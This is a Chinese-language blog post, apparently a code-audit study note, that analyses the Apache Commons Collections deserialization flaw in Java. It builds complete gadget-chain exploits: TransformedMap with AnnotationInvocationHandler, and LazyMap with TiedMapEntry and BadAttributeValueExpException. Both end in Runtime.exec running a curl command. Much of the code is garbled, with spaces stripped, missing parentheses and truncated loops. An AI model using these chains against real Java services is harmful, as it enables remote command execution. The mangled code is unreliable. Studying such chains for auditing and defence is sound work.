这是第一篇关于代码审计的文章,我目前正在看《PHP代码审计》,书里面写的不错。以后会陆续把我看完之后有意思的知识点或者感受共享给大家。
从php代码审计到java代码审计还是有很大不同的,语言特性,漏洞产生的点等等,很多人都是php入门,同样我也是,但是说实话,java也是必须要掌握的,这里我选择分析一些经典的漏洞来熟悉java的代码审计,如果有理解错误的地方,希望得到师傅们的斧正。
Apache Commons Collections反序列化漏洞
首先利用maven进行自动下载下来包,看/org/apache/commons/collections/functors/InvokerTransformer.class
publicObjecttransform(Objectinput){
if(input==null){
returnnull;
}else{
try{
Classcls=input.getClass;
Methodmethod=cls.getMethod(this.iMethodName,this.iParamTypes);
returnmethod.invoke(input,this.iArgs);
}catch(NoSuchMethodExceptionvar5){
thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' does not exist");
}catch(IllegalAccessExceptionvar6){
thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' cannot be accessed");
}catch(InvocationTargetExceptionvar7){
thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' threw an exception",var7);
}
}
}
这个transform方法里面可以看到有个反射调用return method.invoke(input, this.iArgs);,但是只有这里的话显然并不能RCE
继续看/org/apache/commons/collections/functors/ChainedTransformer.class
publicObjecttransform(Objectobject){
for(inti=0;i object=this.iTransformers[i].transform(object); } returnobject; } 这里可以看出来是挨个遍历transformer,调用其的transform方法然后返回个object,返回的object继续进入循环,成为下一次调用的参数,怎么通过这里来执行命令呢,来看 publicstaticvoidmain(String[]args) { Transformer[]transformers={ newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"curl http://127.0.0.1:10000"}) }; TransformertransformerChain=newChainedTransformer(transformers); transformerChain.transform(Runtime.getRuntime); } 当传入transformers后进行 public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } 当传入InvokerTransformer后 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } 这里都会赋值,然后这里就会调用到 publicObjecttransform(Objectinput){ if(input==null){ returnnull; }else{ try{ Classcls=input.getClass; Methodmethod=cls.getMethod(this.iMethodName,this.iParamTypes); returnmethod.invoke(input,this.iArgs); }catch(NoSuchMethodExceptionvar5){ thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' does not exist"); }catch(IllegalAccessExceptionvar6){ thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' cannot be accessed"); }catch(InvocationTargetExceptionvar7){ thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' threw an exception",var7); } } } 到 return method.invoke(Runtime.getRuntime, new Object[] {"curl http://127.0.0.1:10000"}); 执行命令,但是这是我们构造出来的,环境中不可能有transformerChain.transform(Runtime.getRuntime); 这样的操作,我们可以在/org/apache/commons/collections/functors/ConstantTransformer.class找到 public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; } 传入了个Object对象,然后transform方法原样返回,看代码 importorg.apache.commons.collections.Transformer; importorg.apache.commons.collections.functors.InvokerTransformer; importorg.apache.commons.collections.functors.ChainedTransformer; importorg.apache.commons.collections.functors.ConstantTransformer; importjava.lang.reflect.InvocationTargetException; importjava.lang.reflect.Method; publicclasstest{ publicstaticvoidmain(String[]args) { Transformer[]transformers={ newConstantTransformer(Runtime.getRuntime), newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"curl http://127.0.0.1:10000"}) }; TransformertransformerChain=newtest2(transformers); transformerChain.transform("aa"); } } classtest2implementsTransformer{ privatefinalTransformer[]iTransformers; publictest2(Transformer[]transformers){this.iTransformers=transformers;} publicObjecttransform(Objectobject){ for(inti=0;i System.out.println(object.getClass); object=this.iTransformers[i].transform(object); } returnobject; } } 这里我将ChainedTransformer类重写了一些,方便观察调试。 因为在ConstantTransformer中,调用transform方法时不管输入什么都不会影响返回,所以,随意输入即可。 那么能否直接这样构造进行序列化呢,编写代码试试 importorg.apache.commons.collections.Transformer; importorg.apache.commons.collections.functors.InvokerTransformer; importorg.apache.commons.collections.functors.ChainedTransformer; importorg.apache.commons.collections.functors.ConstantTransformer; importjava.io.*; importjava.lang.reflect.InvocationTargetException; importjava.lang.reflect.Method; publicclasstest{ publicstaticvoidmain(String[]args) { Transformer[]transformers={ newConstantTransformer(Runtime.getRuntime), newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"curl http://127.0.0.1:10000"}) }; TransformertransformerChain=newtest2(transformers); try{ Filef=newFile("expobject"); ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream(f)); out.writeObject(transformerChain); out.flush; out.close; }catch(IOExceptione){ e.printStackTrace; } try{ FileInputStreamf=newFileInputStream("expobject"); ObjectInputStreamoin=newObjectInputStream(f); Transformerexpobject=(Transformer)oin.readObject; expobject.transform("cc"); System.out.println(expobject.getClass); } catch(FileNotFoundExceptione){ e.printStackTrace; }catch(ClassNotFoundExceptione){ e.printStackTrace; }catch(IOExceptione){ e.printStackTrace; } } } classtest2implementsTransformer,Serializable{ privatefinalTransformer[]iTransformers; publictest2(Transformer[]transformers){this.iTransformers=transformers;} publicObjecttransform(Objectobject){ for(inti=0;i System.out.println(object.getClass); object=this.iTransformers[i].transform(object); } returnobject; } } Runtime不允许序列化,那么我们继续修改 importorg.apache.commons.collections.Transformer; importorg.apache.commons.collections.functors.InvokerTransformer; importorg.apache.commons.collections.functors.ChainedTransformer; importorg.apache.commons.collections.functors.ConstantTransformer; importjava.io.*; importjava.lang.reflect.InvocationTargetException; importjava.lang.reflect.Method; publicclasstest{ publicstaticvoidmain(String[]args) { Transformer[]transformers={ newConstantTransformer(Runtime.class), newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}), newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}), newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"curl http://127.0.0.1:10000"}) }; TransformertransformerChain=newtest2(transformers); try{ Filef=newFile("expobject"); ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream(f)); out.writeObject(transformerChain); out.flush; out.close; }catch(IOExceptione){ e.printStackTrace; } try{ FileInputStreamf=newFileInputStream("expobject"); ObjectInputStreamoin=newObjectInputStream(f); Transformerexpobject=(Transformer)oin.readObject; expobject.transform("cc"); System.out.println(expobject.getClass); } catch(FileNotFoundExceptione){ e.printStackTrace; }catch(ClassNotFoundExceptione){ e.printStackTrace; }catch(IOExceptione){ e.printStackTrace; } } } classtest2implementsTransformer,Serializable{ privatefinalTransformer[]iTransformers; publictest2(Transformer[]transformers){this.iTransformers=transformers;} publicObjecttransform(Objectobject){ for(inti=0;i System.out.println(object.getClass); object=this.iTransformers[i].transform(object); } returnobject; } } 整个调用链是 ((Runtime) Runtime.class.getMethod("getRuntime").invoke).exec("curl http://127.0.0.1:10000") 简单整理下调用,不然不是很好理解 object = ConstantTransformer.transform("cc"); public Object transform(Object input) { return Runtime.class; } object = InvokerTransformer.transform(Runtime.class); Class cls = Runtime.class.getClass; Method method = cls.getMethod("getMethod", this.iParamTypes); return method.invoke("Runtime.class", "getRuntime"); object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime")); Class cls = Runtime.class.getMethod("getRuntime").getMethod("getRuntime").getClass; Method method = cls.getMethod("invoke", this.iParamTypes); return method.invoke(Runtime.class.getMethod("getRuntime"), "getRuntime"); object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime").invoke); Class cls = Runtime.class.getMethod("getRuntime").invoke.getMethod("getRuntime").getClass; Method method = cls.getMethod("exec", this.iParamTypes); return method.invoke(Runtime.class.getMethod("getRuntime").invoke, "curl http://127.0.0.1:10000"); 代码执行部分已经分析的差不多了,但是哪里有合适的构造点呢,根据网上的,我们来分析一下 攻击链(一) 我们来看/org/apache/commons/collections/map/TransformedMap.class protected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } valueTransformer可控即可利用我们上面的调用链, protectedTransformedMap(Mapmap,TransformerkeyTransformer,TransformervalueTransformer){ super(map); this.keyTransformer=keyTransformer; this.valueTransformer=valueTransformer; } 当我们初始化的时候是可以控制的,怎么触发呢,继续看 public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap.put(key, value); } 当进入put方法的时候会触发,根据上面的调用链我们之后value是可以任意值的,修改代码 publicstaticvoidmain(String[]args) { Transformer[]transformers={ newConstantTransformer(Runtime.class), newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}), newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}), newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"curl http://127.0.0.1:10000"}) }; TransformertransformerChain=newChainedTransformer(transformers); Mapmap=newHashMap; Maptransformedmap=TransformedMap.decorate(map,null,transformerChain); transformedmap.put("1","2"); 这样我们即可进行命令执行。 然后我们要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。 但是我并没有找到有对map执行put的操作 这里还有一处可以实现一样的效果,这里的实现原理跟put那是一样的 protectedObjectcheckSetValue(Objectvalue){ returnthis.valueTransformer.transform(value); } 什么时候会调用到checkSetValue 在它所继承的父类AbstractInputCheckedMapDecorator中 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } } 有个MapEntry的内部类,这里面实现了setValue,并且会触发checkSetValue,然后我们需要找一个readObject中有对map执行setValue的操作。 在jdk小于1.7的时候/reflect/annotation/AnnotationInvocationHandler.class中,readObject中有对map的修改功能,这里我下载了jdk1.7来看下 privatevoidreadObject(java.io.ObjectInputStreams) throwsjava.io.IOException,ClassNotFoundException{ s.defaultReadObject; // Check to make sure that types have not evolved incompatibly AnnotationTypeannotationType=null; try{ annotationType=AnnotationType.getInstance(type); }catch(IllegalArgumentExceptione){ // Class is no longer an annotation type; all bets are off return; } Map for(Map.Entry Stringname=memberValue.getKey; Class>memberType=memberTypes.get(name); if(memberType!=null){// i.e. member still exists Objectvalue=memberValue.getValue; if(!(memberType.isInstance(value)|| valueinstanceofExceptionProxy)){ memberValue.setValue( newAnnotationTypeMismatchExceptionProxy( value.getClass+"["+value+"]").setMember( annotationType.members.get(name))); } } } 我们先看下payload触发的调用堆栈 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.util.HashMap; import java.lang.reflect.Constructor; import java.util.Map; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test implements Serializable{ public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap; map.put("value", "2"); Map transformedmap = TransformedMap.decorate(map, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); cons.setAccessible(true); Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap); ByteArrayOutputStream exp = new ByteArrayOutputStream; ObjectOutputStream oos = new ObjectOutputStream(exp); oos.writeObject(ins); oos.flush; oos.close; ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray); ObjectInputStream ois = new ObjectInputStream(out); Object obj = (Object) ois.readObject; } } 可以看到通过构造payload将构造的map成功传到var2,继续跟到readObject来看一下 首先是获取了java.lang.annotation.Retention的实例,然后跟进到memberTypes方法 会返回一个map,继续往下走到Iterator var4 = this.memberValues.entrySet.iterator; this.memberValues=TransformedMap对象,然后调用其父类的entrySet方法 通过这里我们可以知道为什么key一定要为valuevar7这个变量获取到java.lang.annotation.RetentionPolicy 然后是判断两个是否是实例的判断,然后进入到 然后这里就调用到了 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } } 进入checkSetValue,也就是可以触发的地方,来看 攻击链一种的触发操作在jdk1.8是不存在的,那么我们来分析下jdk1.8中的攻击链, transform可控的地方, public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } } 首先,map中如果不包含这个key那么就可以进入transform,并且可以看到factory也是我们可控的 protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } } factory为transformerChain对象即可触发,key的值没啥影响 那么什么时候会调用get方法呢,可以找到/org/apache/commons/collections/keyvalue/TiedMapEntry.class public Object getValue { return this.map.get(this.key); } public String toString { return this.getKey + "=" + this.getValue; } 在toString方法中会调用,那么java中的toString什么时候调用呢 这里的toString方法的作用其实跟php的是差不多的 现在我们我还差一步,就是哪里可以触发这个toString进而触发getValue呢 来看/javax/management/BadAttributeValueExpException.java中的readObject方法 privatevoidreadObject(ObjectInputStreamois)throwsIOException,ClassNotFoundException{ ObjectInputStream.GetFieldgf=ois.readFields; ObjectvalObj=gf.get("val",null); if(valObj==null){ val=null; }elseif(valObjinstanceofString){ val=valObj; }elseif(System.getSecurityManager==null ||valObjinstanceofLong ||valObjinstanceofInteger ||valObjinstanceofFloat ||valObjinstanceofDouble ||valObjinstanceofByte ||valObjinstanceofShort ||valObjinstanceofBoolean){ val=valObj.toString; }else{// the serialized object is from a version without JDK-8019292 fix val=System.identityHashCode(valObj)+"@"+valObj.getClass.getName; } } setSecurityManager0的操作,也就是说在System.getSecurityManager会返回null,那么就会触发toString,然后我们只要让val个变量的值为TiedMapEntry对象即可触发,因为这里是个私有变量,所以我们通过反射所有变量来赋值,那么整个攻击链就构造完成了。 importorg.apache.commons.collections.Transformer; importorg.apache.commons.collections.functors.InvokerTransformer; importorg.apache.commons.collections.functors.ChainedTransformer; importorg.apache.commons.collections.functors.ConstantTransformer; importorg.apache.commons.collections.map.HashedMap; importorg.apache.commons.collections.map.TransformedMap; importjava.io.*; importjava.util.HashMap; importorg.apache.commons.collections.map.LazyMap; importorg.apache.commons.collections.keyvalue.TiedMapEntry; importjavax.management.BadAttributeValueExpException; importjava.lang.reflect.Field; importjava.lang.reflect.Constructor; importjava.util.Map; importjava.lang.reflect.InvocationTargetException; importjava.lang.reflect.Method; publicclasstestimplementsSerializable{ publicstaticvoidmain(String[]args)throwsException { Transformer[]transformers={ newConstantTransformer(Runtime.class), newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}), newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}), newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"curl http://127.0.0.1:10000"}) }; TransformertransformerChain=newChainedTransformer(transformers); MapinnerMap=newHashMap; MaplazyMap=LazyMap.decorate(innerMap,transformerChain); TiedMapEntryentry=newTiedMapEntry(lazyMap,"foo"); BadAttributeValueExpExceptionins=newBadAttributeValueExpException(null); Fieldvalfield=ins.getClass.getDeclaredField("val"); valfield.setAccessible(true); valfield.set(ins,entry); ByteArrayOutputStreamexp=newByteArrayOutputStream; ObjectOutputStreamoos=newObjectOutputStream(exp); oos.writeObject(ins); oos.flush; oos.close; ByteArrayInputStreamout=newByteArrayInputStream(exp.toByteArray); ObjectInputStreamois=newObjectInputStream(out); Objectobj=(Object)ois.readObject; ois.close; } }